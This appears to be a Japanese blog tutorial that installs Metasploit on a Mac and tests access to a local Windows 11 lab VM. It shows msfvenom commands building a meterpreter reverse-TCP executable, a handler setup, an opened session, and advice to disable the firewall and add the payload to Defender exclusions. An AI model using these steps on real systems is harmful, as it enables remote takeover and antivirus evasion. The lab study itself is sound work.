2024年3月18日月曜日

Mac に Metasploit をインストールして Windows にアクセスする

Mac に Metasploit をインストールして Windows にアクセスする

概要

Mac に Metasploit をインストールして Windows にアクセスするテストをしてみました
Windows は UTM で同一ネットワーク上に構築しています

環境

  • macOS 14.4
  • Metasploit 6.3.60
  • ARM Windows11 23H2 (UTM)

インストール

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

brew install でもいけそうでしたが今回は公式の手順を使ってインストールしました

Tips: Windows ファイアウォールの無効化

特に外部からのアクセスがないのであればファイアウォールは無効にしたほうが簡単にテストできます

個別で許可しても OK

詳細設定から個別でポートやプロトコルを許可しても OK です
以下は ping (ICMP) を許可する場合です
真ん中あたりに許可するチェックボックスがあるのでチェックします

一覧画面でチェックマークがつけば許可状態になります

Mac 側のファイアウォールはデフォルトでは inactive などで特に何もする必要はないはずです

Metasploit 初期化

  • /opt/metasploit-framework/bin/msfconsole
 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.

Would you like to add msfconsole and other programs to your default PATH? yes
You may need to start a new terminal or log in again for this to take effect.

Would you like to use and setup a new database (recommended)? yes
Running the 'init' command for the database:
Creating database at /Users/user01/.msf4/db
Creating db socket file at /var/folders/by/zv83htxj087dxf35rjpvff2h0000gn/T
Starting database at /Users/user01/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /Users/user01/.msf4/db/pg_hba.conf
Stopping database at /Users/user01/.msf4/db
Starting database at /Users/user01/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful

 ** Metasploit Framework Initial Setup Complete **

Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command

アクセスできるかテスト

  • /opt/metasploit-framework/bin/msfconsole

まずはアクセステスト用のファイルを生成します

msf6 > search type:payload windows/meterpreter/reverse_tcp platform:windows
msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /Users/user01/Downloads/test.exe

Mac 側を待受状態にします

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.65.1
LHOST => 192.168.65.1
msf6 exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.65.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.65.1:4444

あとは windows 側に test.exe を配置し実行してリバースシェルが起動するか確認しましょう

[*] Sending stage (176198 bytes) to 192.168.65.2
[*] Meterpreter session 1 opened (192.168.65.1:4444 -> 192.168.65.2:49897) at 2024-03-13 09:05:49 +0900

meterpreter > ls
Listing: Z:\
============

Mode              Size   Type  Last modified                      Name
----              ----   ----  -------------                      ----
100666/rw-rw-rw-  6148   fil   2024-03-13 08:59:01 +0900          .DS_Store
100666/rw-rw-rw-  0      fil   2023-06-08 10:43:10 +0900          .localized
040777/rwxrwxrwx  0      dir   584554050854-11-09 16:00:16 +0900  .spice-clipboard
100777/rwxrwxrwx  73802  fil   2024-03-12 17:12:55 +0900          test.exe

meterpreter > sysinfo
Computer        : WINDOWS-0MPIPQN
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : ja_JP
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

最後に

Mac に Metasploit をインストールしローカルネットワーク用の Windows マシンを使ってアクセステストをしてみました
ファイアウォールが無効になっている場合は元に戻すかテスト用の Windows マシン自体が不要であれば削除してしまいましょう
Windows 側に送った test.exe はウイルスファイルとして削除されてしまうことがあります
その場合は Windows Defender ウイルス対策で除外ファイルとして設定するか一時的にウイルス対策を停止しましょう

参考サイト

0 件のコメント:

コメントを投稿